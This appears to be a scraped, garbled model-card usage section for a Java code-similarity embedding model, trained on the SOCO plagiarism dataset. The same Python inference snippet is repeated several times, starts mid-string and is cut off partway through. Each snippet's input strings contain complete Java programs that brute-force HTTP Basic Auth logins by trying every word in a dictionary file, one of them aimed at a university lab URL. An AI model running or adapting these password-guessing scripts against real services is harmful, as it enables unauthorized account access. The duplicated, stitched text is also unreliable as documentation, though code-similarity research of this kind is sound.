\'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', 